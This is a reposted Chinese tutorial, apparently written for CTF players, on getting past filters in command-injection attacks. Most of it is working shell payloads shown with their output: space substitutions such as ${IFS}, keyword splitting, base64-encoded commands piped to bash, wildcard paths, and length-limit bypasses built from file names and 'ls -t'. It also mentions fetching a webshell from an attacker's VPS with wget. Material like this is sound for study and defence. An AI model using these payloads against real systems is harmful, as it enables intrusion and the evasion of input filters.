轉載自https://www.ghtwf01.cn/index.php/archives/273/,侵刪
常見管道符
Windows系統支持的管道符
|直接執行后面的語句
||如果前面命令是錯的那么就執行后面的語句,否則只執行前面的語句
&前面和后面命令都要執行,無論前面真假
&&如果前面為假,后面的命令也不執行,如果前面為真則執行兩條命令
Linux系統支持的管道符
|、||、&、&&
這四種管道符都存在且用法和Windows
系統下一樣,多了一個;
管道符,作用和&
一樣
空格過濾
${IFS}
payload1:
root@kali:~# cat flag
|
this is your flag
|
root@kali:~# cat${IFS}flag
|
this is your flag
|
payload2:
root@kali:~# cat${IFS}$1flag
|
this is your flag
|
payload3:
root@kali:~# cat$IFS$1flag
|
this is your flag
|
重定向符<>
payload1:
root@kali:~# cat<>flag
|
this is your flag
|
payload2:
root@kali:~# cat<flag
|
this is your flag
|
%09(需要php環境)
黑名單繞過
拼接
root@kali:~# a=c;b=at;c=fl;d=ag;$a$b $c$d
|
this is your flag
|
base64編碼
payload1:
root@kali:~# `echo "Y2F0IGZsYWc="|base64 -d`
|
this is your flag
|
payload2:
root@kali:~# echo "Y2F0IGZsYWc="|base64 -d|bash
|
this is your flag
|
單引號、雙引號
root@kali:~# c""at fl''ag
|
this is your flag
|
反斜線
root@kali:~# c\at fl\ag
|
this is your flag
|
$1、$2等和$@
root@kali:~# c$1at gh$@twf01.txt
|
hello ghtef01
|
nice blckder02
|
讀文件繞過
當cat被過濾時,可以使用如下命令代替
(
1)more:一頁一頁的顯示檔案內容
|
(
2)less:與 more 類似,但是比 more 更好的是,他可以[pg dn][pg up]翻頁
|
(
3)head:查看頭幾行
|
(
4)tac:從最后一行開始顯示,可以看出 tac 是 cat 的反向顯示
|
(
5)tail:查看尾幾行
|
(
6)nl:顯示的時候,順便輸出行號
|
(
7)od:以二進制的方式讀取檔案內容
|
(
8)vi:一種編輯器,這個也可以查看
|
(
9)vim:一種編輯器,這個也可以查看
|
(
10)sort:可以查看
|
(
11)uniq:可以查看
|
(
12)file -f:報錯出具體內容
|
通配符繞過
比如
root@kali:~# /???/?[a][t] ?''?''?''?''
|
this is your flag
|
xx
|
cc
|
xa
|
/
bin/cat: test: 是一個目錄
|
root@kali:~# /???/?at flag
|
this is your flag
|
xx
|
cc
|
xa
|
root@kali:~# /???/?at ????
|
this is your flag
|
xx
|
cc
|
xa
|
/
bin/cat: test: 是一個目錄
|
root@kali:~# /???/?[a]''[t] ?''?''?''?''
|
this is your flag
|
xx
|
cc
|
xa
|
/
bin/cat: test: 是一個目錄
|
當然還有更過分的,2333,這些在CTF比賽中可能會用到
內斂執行繞過
`命令`和$(命令)都是執行命令的方式
root@kali:~
# echo "xx`pwd`"
|
xx/root
|
root@kali:~
# echo "xx$(pwd)"
|
xx/root
|
繞過長度限制
Linux中的>符號和>>符號
(1)通過>來創建文件
(2)通過>
將命令結果存入文件中
使用>
命令會將原有文件內容覆蓋,如果是存入不存在的文件名,那么就會新建該文件再存入
(3)>>
符號的作用是將字符串添加到文件內容末尾,不會覆蓋原內容
Linux中命令換行
在Linux中,當我們執行文件中的命令的時候,我們通過在沒有寫完的命令后面加\
,可以將一條命令寫在多行
比如一條命令cat flag
可以如下表示
root@kali:~# ca\
|
> t\
|
> fl\
|
> ag
|
this is your flag
|
既然可以這樣那我們是不是可以在某些限制長度的情況下執行命令,將命令一條一條輸入一個文本中再執行,嘗試一下
root@kali:~# echo "ca\\">cmd
|
root@kali:~# echo "t\\">>cmd
|
root@kali:~# echo " fl\\">>cmd
|
root@kali:~# echo "ag">>cmd
|
root@kali:~# cat cmd
|
ca\
|
t\
|
fl\
|
ag
|
root@kali:~# sh cmd
|
this is your flag
|
用這種方法可以繞過一些長度限制讀取文件內容
利用ls -t和>以及換行符繞過長度限制執行命令(文件構造繞過)
在linux
中,我們使用ls -t
命令后,可以將文件名按照時間順序排列出來(后創建的排在前面)
root@kali:~/example# touch a
|
root@kali:~/example# touch b
|
root@kali:~/example# touch c
|
root@kali:~/example# ls -t
|
c b a
|
我們來看看ls -t>ghtwf01
有什么效果(開始不存在ghtwf01
這個文件)
root@kali:~/example# ls -t>ghtwf01
|
root@kali:~/example# cat ghtwf01
|
ghtwf01
|
c
|
b
|
a
|
這條命令先執行了創建ghtwf01
文件然后將ls -t
的執行結果寫入ghtwf01
文件
我們試試用這些方法來執行命令cat flag
root@kali:~/example# > "ag"
|
root@kali:~/example# > "fl\\"
|
root@kali:~/example# > "t \\"
|
root@kali:~/example# > "ca\\"
|
root@kali:~/example# ls -t
|
'
ca\' 't \' 'fl\' ag flag
|
root@kali:~/example# ls -t > a
|
root@kali:~/example# sh a
|
a: 1: a: not found
|
this is your flag
|
a: 6: flag: not found
|
讀取到了flag
內容為this is your flag
,無論這個文件里面有不有其它內容都能執行
總而言之文件構造繞過就是如下知識:
linux下可以用
1>a創建文件名為a的空文件
|
ls -t>test則會將目錄按時間排序后寫進test文件中
|
sh命令可以從一個文件中讀取命令來執行
|
反彈shell
命令比較長就可以用這種方式去繞過長度限制
如果服務器能連外網還可以使用命令wget 網址 -O shell.php
去執行我們自己vps
上面的木馬文件
一道CTF題:hitcon 2017 babyfirst-revenge
wp鏈接:https://xz.aliyun.com/t/2748
參考鏈接
https://xz.aliyun.com/t/2748
https://chybeta.gitbooks.io/waf-bypass/content/ming-ling-zhu-ru/rao-guo-fang-fa.html